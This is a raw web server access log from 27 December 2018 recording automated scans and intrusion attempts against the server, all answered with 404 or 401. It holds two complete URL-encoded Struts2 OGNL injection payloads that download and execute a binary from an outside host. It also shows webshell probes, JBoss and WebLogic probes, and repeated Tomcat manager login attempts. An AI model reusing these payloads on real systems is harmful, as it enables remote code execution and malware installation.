188.66.49.179 - - [27/Dec/2018:01:04:28 +0100] "GET / HTTP/1.0" 404 952 216.218.206.67 - - [27/Dec/2018:01:08:51 +0100] "GET / HTTP/1.1" 404 952 201.26.17.207 - - [27/Dec/2018:01:18:26 +0100] "GET / HTTP/1.1" 404 952 201.95.159.131 - - [27/Dec/2018:02:07:16 +0100] "GET / HTTP/1.1" 404 952 202.44.110.83 - - [27/Dec/2018:02:12:45 +0100] "GET / HTTP/1.1" 404 952 36.67.196.205 - - [27/Dec/2018:02:13:03 +0100] "GET / HTTP/1.1" 404 952 183.80.205.132 - - [27/Dec/2018:03:38:53 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /ws_utc/resources/setting/options/general HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "POST / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "POST / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "POST / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "POST / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27nohup%20uname%20--m%7Cgrep%20x86_64%20%3E%3E%20/dev/null%20%7C%7C%20(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.141.104/d/ft32%20&&%20chmod%20777%20.loop%20&&%20./.loop)&&(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.141.104/d/ft64%20&&%20chmod%20777%20.loop%20&&%20./.loop)%20%26%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27nohup%20uname%20--m%7Cgrep%20x86_64%20%3E%3E%20/dev/null%20%7C%7C%20(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.141.104/d/ft32%20&&%20chmod%20777%20.loop%20&&%20./.loop)&&(pkill%20loop%20%3B%20wget%20-O%20.loop%20http://111.90.141.104/d/ft64%20&&%20chmod%20777%20.loop%20&&%20./.loop)%20%26%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /invoker/readonly HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /invoker/JMXInvokerServlet HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:49 +0100] "GET /jmx-console/HtmlAdaptor HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /orders.xhtml HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET / HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /users HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "PUT /dbi_put1.jsp/ HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /dbi_put1.jsp HTTP/1.1" 404 952 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:50 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:51 +0100] "GET /manager/html HTTP/1.1" 401 1833 91.191.223.194 - - [27/Dec/2018:05:58:52 +0100] "GET /wls-wsat/CoordinatorPortType HTTP/1.1" 404 952 42.119.102.139 - - [27/Dec/2018:06:15:36 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 58.187.149.138 - - [27/Dec/2018:06:24:48 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 152.249.231.130 - - [27/Dec/2018:06:37:45 +0100] "GET / HTTP/1.1" 404 952 152.249.231.130 - - [27/Dec/2018:06:37:45 +0100] "GET / HTTP/1.1" 404 952 152.249.231.130 - - [27/Dec/2018:06:37:45 +0100] "GET / HTTP/1.1" 404 952 125.64.94.201 - - [27/Dec/2018:07:18:05 +0100] "GET / HTTP/1.0" 404 952 177.102.214.45 - - [27/Dec/2018:08:23:00 +0100] "GET / HTTP/1.1" 404 952 51.15.191.81 - - [27/Dec/2018:08:47:07 +0100] "GET / HTTP/1.1" 404 952 199.19.225.248 - - [27/Dec/2018:08:50:28 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 114.109.48.233 - - [27/Dec/2018:11:46:49 +0100] "GET /script HTTP/1.1" 404 952 1.54.131.189 - - [27/Dec/2018:11:56:29 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 185.195.19.195 - - [27/Dec/2018:11:58:57 +0100] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 952 177.103.5.59 - - [27/Dec/2018:12:45:51 +0100] "GET / HTTP/1.1" 404 952 187.110.208.49 - - [27/Dec/2018:14:18:36 +0100] "GET / HTTP/1.1" 404 952 190.99.208.95 - - [27/Dec/2018:15:04:37 +0100] "GET / HTTP/1.1" 404 952 188.131.128.199 - - [27/Dec/2018:15:18:36 +0100] "GET /jexsw2/jexsw2.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1" 404 952 188.131.128.199 - - [27/Dec/2018:15:18:44 +0100] "GET /jexws2/jexws2.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1" 404 952 188.131.128.199 - - [27/Dec/2018:15:18:48 +0100] "GET /jexws3/jexws3.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1" 404 952 188.131.128.199 - - [27/Dec/2018:15:18:52 +0100] "GET /jexinv/jexinv.jsp?ppp=echo%20Hello%20D3c3mb3r HTTP/1.1" 404 952 60.191.38.77 - - [27/Dec/2018:16:22:16 +0100] "GET / HTTP/1.1" 404 952 95.139.133.139 - - [27/Dec/2018:16:53:11 +0100] "GET / HTTP/1.1" 404 952 84.118.89.114 - - [27/Dec/2018:18:55:57 +0100] "GET / HTTP/1.0" 404 952 189.46.122.203 - - [27/Dec/2018:19:15:57 +0100] "GET / HTTP/1.1" 404 952 191.19.110.180 - - [27/Dec/2018:19:24:36 +0100] "GET / HTTP/1.1" 404 952 191.19.110.180 - - [27/Dec/2018:19:24:36 +0100] "GET / HTTP/1.1" 404 952 188.120.38.132 - - [27/Dec/2018:19:42:47 +0100] "GET / HTTP/1.1" 404 952 70.187.131.206 - - [27/Dec/2018:21:53:31 +0100] "GET / HTTP/1.1" 404 952 60.191.38.77 - - [27/Dec/2018:22:04:15 +0100] "GET / HTTP/1.1" 404 952 96.9.75.206 - - [27/Dec/2018:23:01:32 +0100] "GET / HTTP/1.1" 404 952 36.108.148.115 - - [27/Dec/2018:23:04:21 +0100] "POST /tmUnblock.cgi HTTP/1.1" 404 952 218.60.67.79 - - [27/Dec/2018:23:07:16 +0100] "GET /manager/html HTTP/1.1" 401 1833 218.60.67.79 - - [27/Dec/2018:23:07:16 +0100] "GET /manager/html HTTP/1.1" 401 1833 218.60.67.79 - - [27/Dec/2018:23:07:18 +0100] "GET /manager/html HTTP/1.1" 401 1833 218.60.67.79 - - [27/Dec/2018:23:07:18 +0100] "GET /manager/html HTTP/1.1" 401 1833 84.19.89.38 - - [27/Dec/2018:23:44:32 +0100] "GET / HTTP/1.1" 404 952